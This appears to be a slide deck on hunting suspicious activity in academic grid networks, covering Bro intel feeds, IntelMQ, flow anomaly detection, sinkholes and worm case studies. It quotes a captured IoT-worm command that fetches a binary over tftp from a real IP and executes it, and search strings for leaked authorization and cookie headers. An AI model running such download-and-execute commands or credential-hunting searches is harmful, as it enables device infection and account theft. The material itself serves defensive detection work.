Identifying Suspicious Activities in Grid Network Traffic

Fyodor Yarochkin, Vladimir Kropotov
TWGRID/EGI
What can be wrong in a cloud?!

Searches related to "CF-Host-Origin-IP:" "authorization:"

"cf-host-origin-ip:" token
"cf-host-origin-ip:" "authorization:" doximity
"cf-host-origin-ip:" "yelp"
"cf-host-origin-ip:" "cookie:"
"cf-force-miss-ts"
"cf-ray" "cf-force-miss-ts"
internal upstream server certificate0
cf int brand id
Agenda

• Methods
• Case Studies
• Lessons Learnt
The DATA

- Raw Data (network packet captures)
- Meta Data (network flows, sampled flows)
- Other Data (honeypot logs, CERT reports, Feeds)
Problems

- Data Volume: Can’t store everything, so need to make best of what comes in
- Academic Network: a network full of researchers (and weird protocols, and weird hits)
- Anomaly detection gets difficult (you can’t just filter out standard protocols and log the rest.)
“Hunting”

- Hunting for artifacts:
  - I have an IoC, tell me when I see it in my data
  - Have I seen it in my data before? (flows/caps/alerts)
“Hunting” questions

• Have I seen this IP address?

• Have I seen this email? domain? host? .. email subject?

• I want to get notified if I see this _artifact_ on my network
Meta DATA

When we can’t store everything, storing meta data could actually be useful for hunting later.

IP addresses, protocols, port numbers but also Protocol specific fields (Bro)
Example

• A notification received of on-going compromise of Academic Targets

• Received Artifacts: _sender_ email, _sender IP(peer), _Subject pattern_, _landing pages_
Automating Hunting of New Artifacts

• Sourcing IntelMQ
  • possible integration with MISP (via MISPBot)
  • consuming 3rd party feeds

• Hunting BRO (Also customized tools for flow data)
Hunting with BRO is easy

/usr/local/bro/share/bro/site/local.bro

const feed_directory = "/usr/local/bro/feeds";
redef Intel::read_files += {
    feed_directory + "/tor.intel",
    feed_directory + "/other.intel",
};

@load frameworks/intel/seen
@load frameworks/intel/do_notice

188.19.12.49   Intel::ADDR   Cyber Crime
93.175.224.143  Intel::ADDR   Cyber Crime
85.17.122.80    Intel::ADDR   Cyber Crime
81.162.123.76   Intel::ADDR   Cyber Crime
194.28.191.70   Intel::ADDR   Cyber Crime
217.117.214.40  Intel::ADDR   Cyber Crime
37.59.4.181     Intel::ADDR   Cyber Crime
193.111.255.199 Intel::ADDR   Cyber Crime
77.87.99.67     Intel::ADDR   Cyber Crime
IntelMQ sources

- Our honeypot systems
- 3rd party Intel Feeds, MISP, etc..
- any custom scripts
IntelMQ is awesome
Anomaly Detection in GRID

- Hard to get working properly :)
  - too many protocols
  - too much data
  - no raw data (due to volume)
Anomaly detection
Approach on flow records

• Break down by protocol/flow direction (in, out, lateral, )

• Identify local assets (manual + automated discovery)

• Outline any flow that doesn’t match local asset profile

• Cross-correlate with other data sources (i.e. sensors getting raw packet caps, honeypots etc)
Anomaly other

- Look for rarely used ports (tcp/udp) and strange ports (especially with high byte count)
- Identify high-risk flows (telnet, ssh, rdp, ..)
- Hunt for indicators (cross correlate with snort/bro/feeds) to identify suspicious flows (c2, exfil, abuse)
- Hunt for known patterns (DDoS)
Anomaly/threat hunting

• Search for recon patterns: one to many
One to many: RDP
Knowing about sinkholes is also useful
Sinkhole communication

- Sinkhole Subnet owned by Microsoft - 199.2.137.0/24
- Example: 117.103.108.210:53 -> 213.136.78.49:36169
- DNS query: 213.136.78.49:36169
  117.103.108.210:53 udp 5777
- domain: www.emous5epadsafa42.com
  199.2.137.29
if you had packet data

Shell commands in traffic are usually suspicious

08:52:37.281168 IP 221.200.176.93.9710 > 117.103.101.115.13922: UDP, length 104

08:52:37.370234 IP 111.17.190.23.51163 > 202.140.172.99.53413: UDP, length 123

min -g 91.134.141.49; cp /bin/sh .; cat min >sh; chmod 777 sh; ./sh

/tmp || cd /var/ || cd /dev/; busybox tftp -r min -g 91.134.141.49; cp /bin/sh .; cat min >sh; chmod 777 sh; ./sh
Some cases from the past

Whatever you see in the news, we probably see it too :-}
mysql worm

Worm targets MySQL

A new worm spreading on the Internet targets computers running the MySQL open-source database software. The worm targets thousands of Windows machines running this database.

The new threat is a new version of a common network worm named Forbot. It infects machines running on Windows machines that are connected to the Internet. The new Forbot worm is faster than previous versions and spreads to more machines.
MYSQL worm

possibly compromised: 202.169.170.12
samples payload

Most of these samples are DDoS binaries. Some are UPX packed. Carry embedded Amplification point lists. Can do HTTP Floods. Built with C++
The Botnet That Broke the Internet Isn’t Going Away
Honeypots & IoT worms
Honeypots and IoT worms

automated sample collection!! ;-)
Questions?
fy@iis.sinica.edu.tw